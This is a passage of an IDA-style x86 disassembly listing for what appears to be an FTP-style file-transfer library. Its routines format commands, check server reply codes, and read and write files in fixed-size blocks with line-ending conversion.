--------------------------------------------------------------------------- loc_13D7F45: ; CODE XREF: sub_13D7E80+9Aj mov ecx, [ebx+8] lea eax, [esp+134h+var_104] push eax push ecx call near ptr 13E1380h test eax, eax jz short loc_13D7FD1 mov ecx, [ebx+8] lea edx, [esp+134h+var_120] lea eax, [esp+134h+var_114] push edx push eax push ecx mov dword ptr [esp+140h+var_120], 10h call near ptr 13E132Ch mov edi, eax call _errno ; _errno mov edx, [eax] mov eax, [ebx+8] push eax mov [esp+138h+var_124], edx call near ptr 13E1326h cmp edi, ebp jle short loc_13D7FA0 mov [ebx+8], edi pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_13D7FA0: ; CODE XREF: sub_13D7E80+10Bj mov ecx, [esp+134h+var_124] push 100h push ecx call strerror ; strerror add esp, 4 add esi, 44h push eax push esi call strncpy ; strncpy add esp, 0Ch mov [ebx+8], ebp xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_13D7FD1: ; CODE XREF: sub_13D7E80+D5j mov eax, [esi+8] lea edx, [esp+134h+var_104] push edx push eax call near ptr 13E1380h test eax, eax jz short loc_13D8007 mov ecx, [ebx+8] push ecx call near ptr 13E1326h push esi push 32h mov [ebx+8], ebp call sub_13D6F30 add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_13D8007: ; CODE XREF: sub_13D7E80+161j mov eax, [esp+134h+var_124] pop edi pop esi pop ebp pop ebx add esp, 124h retn sub_13D7E80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8090 proc near ; CODE XREF: sub_13AC648j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_13D80A1 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D80A1: ; CODE XREF: sub_13D8090+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_13D80BD mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_13D7070 add esp, 0Ch jmp short loc_13D80E4 ; --------------------------------------------------------------------------- loc_13D80BD: ; CODE XREF: sub_13D8090+17j call sub_13D72A0 add esp, 4 cmp eax, 1 jz short loc_13D80CF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D80CF: ; CODE XREF: sub_13D8090+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call near ptr 13E131Ah loc_13D80E4: ; CODE XREF: sub_13D8090+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_13D80F0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D80F0: ; CODE XREF: sub_13D8090+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_13D812F mov eax, [esi+3Ch] test eax, eax jz short loc_13D812F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_13D812F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_13D8128 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D8128: ; CODE XREF: sub_13D8090+93j mov dword ptr [esi+40h], 0 loc_13D812F: ; CODE XREF: sub_13D8090+6Fj ; sub_13D8090+76j ... mov eax, edi pop edi pop esi retn sub_13D8090 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8170 proc near ; CODE XREF: sub_13AC5F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_13D8181 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D8181: ; CODE XREF: sub_13D8170+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_13D819D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_13D8240 add esp, 0Ch jmp short loc_13D81BA ; --------------------------------------------------------------------------- loc_13D819D: ; CODE XREF: sub_13D8170+17j call sub_13D72A0 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call near ptr 13E1320h loc_13D81BA: ; CODE XREF: sub_13D8170+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_13D81C6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_13D81C6: ; CODE XREF: sub_13D8170+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_13D81FC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_13D81FC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_13D81FC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_13D81FC: ; CODE XREF: sub_13D8170+63j ; sub_13D8170+6Aj ... mov eax, edi pop edi pop esi retn sub_13D8170 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8240 proc near ; CODE XREF: sub_13D8170+23p ; sub_13D83F0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_13D825C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_13D825C: ; CODE XREF: sub_13D8240+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_13D8384 loc_13D826D: ; CODE XREF: sub_13D8240+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_13D82AE cmp al, 0Dh jz short loc_13D82AE cmp esi, 2000h jnz short loc_13D82A9 push ebp call sub_13D72A0 add esp, 4 test eax, eax jz short loc_13D830A mov edx, [ebp+8] push 0 push esi push edi push edx call near ptr 13E1320h mov esi, eax cmp esi, 2000h jnz short loc_13D8311 xor esi, esi loc_13D82A9: ; CODE XREF: sub_13D8240+41j mov byte ptr [edi+esi], 0Dh inc esi loc_13D82AE: ; CODE XREF: sub_13D8240+35j ; sub_13D8240+39j cmp esi, 2000h jnz short loc_13D82DC push ebp call sub_13D72A0 add esp, 4 test eax, eax jz short loc_13D830A mov eax, [ebp+8] push 0 push esi push edi push eax call near ptr 13E1320h mov esi, eax cmp esi, 2000h jnz short loc_13D8331 xor esi, esi loc_13D82DC: ; CODE XREF: sub_13D8240+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_13D826D test esi, esi jz loc_13D8384 push ebp call sub_13D72A0 add esp, 4 test eax, eax jnz short loc_13D8351 loc_13D830A: ; CODE XREF: sub_13D8240+4Ej ; sub_13D8240+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D8311: ; CODE XREF: sub_13D8240+65j call _errno ; _errno mov edx, [eax] push edx push esi push offset dword_445668 call printf ; printf add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D8331: ; CODE XREF: sub_13D8240+98j call _errno ; _errno mov eax, [eax] push eax push esi push offset dword_445638 call printf ; printf add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D8351: ; CODE XREF: sub_13D8240+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call near ptr 13E1320h mov edi, eax cmp edi, esi jz short loc_13D8384 call _errno ; _errno mov edx, [eax] push edx push edi push offset dword_445608 call printf ; printf add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_13D8384: ; CODE XREF: sub_13D8240+27j ; sub_13D8240+B7j ... mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_13D8240 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D83F0 proc near ; CODE XREF: sub_13ABFDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_13D846B dec eax jz short loc_13D8420 dec eax jz short loc_13D840C loc_13D8404: ; CODE XREF: sub_13D83F0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_13D840C: ; CODE XREF: sub_13D83F0+12j mov eax, [esi+14h] test eax, eax jz short loc_13D8420 push esi push 0 push 0 call sub_13D8240 add esp, 0Ch loc_13D8420: ; CODE XREF: sub_13D83F0+Fj ; sub_13D83F0+21j mov eax, [esi+14h] push ebx mov ebx, free test eax, eax jz short loc_13D8434 push eax call ebx ; free add esp, 4 loc_13D8434: ; CODE XREF: sub_13D83F0+3Cj mov eax, [esi+8] push 2 push eax call near ptr 13E13BCh mov ecx, [esi+8] push ecx call near ptr 13E1326h mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_13D8404 push edi push 32h mov dword ptr [edi+20h], 0 call sub_13D6F30 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D846B: ; CODE XREF: sub_13D83F0+Cj mov eax, [esi+20h] test eax, eax jz short loc_13D8482 push esi mov dword ptr [esi+1Ch], 0 call sub_13ABFDB add esp, 4 loc_13D8482: ; CODE XREF: sub_13D83F0+80j mov edx, [esi+8] push edx call near ptr 13E1326h push esi call free ; free add esp, 4 xor eax, eax pop edi pop esi retn sub_13D83F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D84D0 proc near ; CODE XREF: sub_13AC0E4j var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_13D84F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D84F9: ; CODE XREF: sub_13D84D0+20j push edx lea eax, [esp+104h+var_100] push offset dword_445698 push eax call sprintf ; sprintf mov ecx, [esp+10Ch+arg_4] lea edx, [esp+10Ch+var_100] push ecx push 32h push edx call sub_13D75C0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn sub_13D84D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8550 proc near ; CODE XREF: sub_13ABAC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_8] push edi push 32h push offset dword_4456A4 call sub_13D75C0 add esp, 0Ch test eax, eax jnz short loc_13D8571 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D8571: ; CODE XREF: sub_13D8550+1Cj mov eax, [esp+8+arg_4] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_13D858C loc_13D857F: ; CODE XREF: sub_13D8550+3Aj mov al, [ecx] cmp al, 20h jz short loc_13D858C mov [esi], al inc esi inc ecx dec edx jnz short loc_13D857F loc_13D858C: ; CODE XREF: sub_13D8550+2Dj ; sub_13D8550+33j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn sub_13D8550 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D85C0 proc near ; CODE XREF: sub_13AC64Dj var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_13D85E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D85E9: ; CODE XREF: sub_13D85C0+20j push edx lea eax, [esp+104h+var_100] push offset dword_4456AC push eax call sprintf ; sprintf mov ecx, [esp+10Ch+arg_4] lea edx, [esp+10Ch+var_100] push ecx push 32h push edx call sub_13D75C0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn sub_13D85C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8640 proc near ; CODE XREF: sub_13AC65Cj var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_13D8669 add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8669: ; CODE XREF: sub_13D8640+20j push edx lea eax, [esp+104h+var_100] push offset dword_4456B4 push eax call sprintf ; sprintf mov ecx, [esp+10Ch+arg_4] lea edx, [esp+10Ch+var_100] push ecx push 32h push edx call sub_13D75C0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn sub_13D8640 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D86C0 proc near ; CODE XREF: sub_13ABB80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 32h push offset dword_4456BC call sub_13D75C0 add esp, 0Ch neg eax sbb eax, eax neg eax retn sub_13D86C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D86F0 proc near ; CODE XREF: sub_13AC5FDj var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_13D8719 add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8719: ; CODE XREF: sub_13D86F0+20j push edx lea eax, [esp+104h+var_100] push offset dword_4456C4 push eax call sprintf ; sprintf mov ecx, [esp+10Ch+arg_4] lea edx, [esp+10Ch+var_100] push ecx push 32h push edx call sub_13D75C0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn sub_13D86F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8770 proc near ; CODE XREF: sub_13ABA6Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_8] push edi push 32h push offset dword_4456CC call sub_13D75C0 add esp, 0Ch test eax, eax jnz short loc_13D8791 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D8791: ; CODE XREF: sub_13D8770+1Cj add edi, 44h push 22h push edi call strchr ; strchr add esp, 8 test eax, eax jnz short loc_13D87A7 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13D87A7: ; CODE XREF: sub_13D8770+32j mov ecx, [esp+8+arg_4] inc eax lea edx, [ecx-1] test edx, edx jz short loc_13D87C5 loc_13D87B3: ; CODE XREF: sub_13D8770+53j mov cl, [eax] test cl, cl jz short loc_13D87C5 cmp cl, 22h jz short loc_13D87C5 mov [esi], cl inc esi inc eax dec edx jnz short loc_13D87B3 loc_13D87C5: ; CODE XREF: sub_13D8770+41j ; sub_13D8770+47j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn sub_13D8770 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D87F0 proc near ; CODE XREF: sub_13AB527j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push 41h push 1 push eax push ecx push edx call sub_13D8820 add esp, 14h retn sub_13D87F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8820 proc near ; CODE XREF: sub_13D87F0+13p ; sub_13D8A70+13p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_13D88AA mov esi, [esp+14h+arg_C] mov cx, ds:word_44570C cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_13D885A mov byte ptr [esp+14h+arg_10], 72h loc_13D885A: ; CODE XREF: sub_13D8820+33j cmp edi, 49h jnz short loc_13D8864 mov byte ptr [esp+14h+arg_10+1], 62h loc_13D8864: ; CODE XREF: sub_13D8820+3Dj lea edx, [esp+14h+arg_10] push edx push eax call fopen ; fopen mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_13D88C4 push 100h call _errno ; _errno mov eax, [eax] push eax call strerror ; strerror mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call strncpy ; strncpy add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D88AA: ; CODE XREF: sub_13D8820+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_13D88BB mov ebx, _iob jmp short loc_13D88C4 ; --------------------------------------------------------------------------- loc_13D88BB: ; CODE XREF: sub_13D8820+91j mov edx, _iob lea ebx, [edx+20h] loc_13D88C4: ; CODE XREF: sub_13D8820+57j ; sub_13D8820+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_13AC355 add esp, 14h test eax, eax jnz short loc_13D88E7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_13D88E7: ; CODE XREF: sub_13D8820+BFj push 2000h call malloc ; malloc add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_13D895D mov ebp, fread push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_13D89B3 loc_13D891A: ; CODE XREF: sub_13D8820+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_13AC5F3 add esp, 0Ch cmp eax, esi jl short loc_13D8943 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_13D891A jmp short loc_13D89B3 ; --------------------------------------------------------------------------- loc_13D8943: ; CODE XREF: sub_13D8820+10Bj push eax push esi push offset dword_4456E4 call printf ; printf add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_13D89B3 ; --------------------------------------------------------------------------- loc_13D895D: ; CODE XREF: sub_13D8820+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_13AC648 add esp, 0Ch cmp eax, ebp jle short loc_13D89B3 mov esi, fwrite loc_13D897A: ; CODE XREF: sub_13D8820+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_13D89A1 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_13AC648 add esp, 0Ch cmp eax, ebp jg short loc_13D897A jmp short loc_13D89B3 ; --------------------------------------------------------------------------- loc_13D89A1: ; CODE XREF: sub_13D8820+166j push offset dword_4456D0 call perror ; perror add esp, 4 mov [esp+14h+var_4], ebp loc_13D89B3: ; CODE XREF: sub_13D8820+F4j ; sub_13D8820+121j ... push edi call free ; free push ebx call fflush ; fflush mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_13D89D6 push ebx call fclose ; fclose add esp, 4 loc_13D89D6: ; CODE XREF: sub_13D8820+1AAj mov eax, [esp+14h+arg_C] push eax call sub_13ABFDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_13D8820 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8A70 proc near ; CODE XREF: sub_13ABA9Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push 41h push 2 push eax push ecx push edx call sub_13D8820 add esp, 14h retn sub_13D8A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8AA0 proc near ; CODE XREF: sub_13AC12Fj var_108 = dword ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+10Ch+arg_0] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_13D8AD7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_13D8AD7: ; CODE XREF: sub_13D8AA0+2Aj movsx eax, [esp+118h+arg_8] mov edi, sprintf push eax lea ecx, [esp+11Ch+var_100] push offset dword_445514 push ecx call edi ; sprintf mov esi, [esp+124h+arg_C] lea edx, [esp+124h+var_100] push esi push 32h push edx call sub_13D75C0 add esp, 18h test eax, eax jnz short loc_13D8B18 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_13D8B18: ; CODE XREF: sub_13D8AA0+6Bj push ebx lea eax, [esp+11Ch+var_100] push offset dword_445718 push eax call edi ; sprintf push esi lea ecx, [esp+128h+var_100] push 32h push ecx call sub_13D75C0 add esp, 18h test eax, eax jz short loc_13D8B74 lea edx, [esp+118h+var_108] lea eax, [esp+118h+var_104] push edx push eax add esi, 44h push offset dword_445710 push esi call sscanf ; sscanf add esp, 10h cmp eax, 2 jnz short loc_13D8B74 mov ecx, [esp+118h+arg_4] mov edx, [esp+118h+var_108] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_13D8B74: ; CODE XREF: sub_13D8AA0+97j ; sub_13D8AA0+B8j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn sub_13D8AA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8BD0 proc near ; CODE XREF: sub_13AB7BBj var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_13D8C00 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8C00: ; CODE XREF: sub_13D8BD0+25j push esi push edx lea eax, [esp+110h+var_100] push offset dword_445724 push eax call sprintf ; sprintf mov esi, [esp+118h+arg_C] lea ecx, [esp+118h+var_100] push esi push 32h push ecx call sub_13D75C0 add esp, 18h test eax, eax jnz short loc_13D8C3B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8C3B: ; CODE XREF: sub_13D8BD0+5Bj mov edx, [esp+10Ch+arg_8] mov eax, [esp+10Ch+arg_4] add esi, 48h push edx push esi push eax call strncpy ; strncpy add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn sub_13D8BD0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8CA0 proc near ; CODE XREF: sub_13ABAA9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_13D8820 add esp, 14h retn sub_13D8CA0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8CD0 proc near ; CODE XREF: sub_13ABAC7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 4 push ecx push edx push eax call sub_13D8820 add esp, 14h retn sub_13D8CD0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8D00 proc near ; CODE XREF: sub_13AB892j var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_13D8D99 mov ebx, [esp+10Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_13D8D99 mov esi, sprintf push edx lea eax, [esp+110h+var_100] push offset dword_44573C push eax call esi ; sprintf mov edi, [esp+118h+arg_8] lea ecx, [esp+118h+var_100] push edi push 33h push ecx call sub_13D75C0 add esp, 18h test eax, eax jz short loc_13D8D99 push ebx lea edx, [esp+110h+var_100] push offset dword_445730 push edx call esi ; sprintf push edi lea eax, [esp+11Ch+var_100] push 32h push eax call sub_13D75C0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8D99: ; CODE XREF: sub_13D8D00+21j ; sub_13D8D00+3Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn sub_13D8D00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8DE0 proc near ; CODE XREF: sub_13AC067j var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_13D8E09 add esp, 100h retn ; --------------------------------------------------------------------------- loc_13D8E09: ; CODE XREF: sub_13D8DE0+20j push edx lea eax, [esp+104h+var_100] push offset dword_445748 push eax call sprintf ; sprintf mov ecx, [esp+10Ch+arg_4] lea edx, [esp+10Ch+var_100] push ecx push 32h push edx call sub_13D75C0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn sub_13D8DE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8E60 proc near ; CODE XREF: sub_13AC152j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_13D8E99 push edi push esi push 32h push offset dword_445754 call sub_13D75C0 mov eax, [esi+8] add esp, 0Ch push eax call near ptr 13E1326h mov ecx, [esi+14h] mov edi, free push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_13D8E99: ; CODE XREF: sub_13D8E60+Aj pop esi retn sub_13D8E60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8EB0 proc near ; CODE XREF: sub_13AC59Ej arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] test edi, edi jnz short loc_13D8EC0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_13D8EC0: ; CODE XREF: sub_13D8EB0+7j push 1Ch call malloc ; malloc add esp, 4 test eax, eax jnz short loc_13D8ED6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_13D8ED6: ; CODE XREF: sub_13D8EB0+1Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn sub_13D8EB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D8F30 proc near ; CODE XREF: sub_13AB914j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_13AB6B7 add esp, 4 test eax, eax jz short loc_13D8F49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_13D8F49: ; CODE 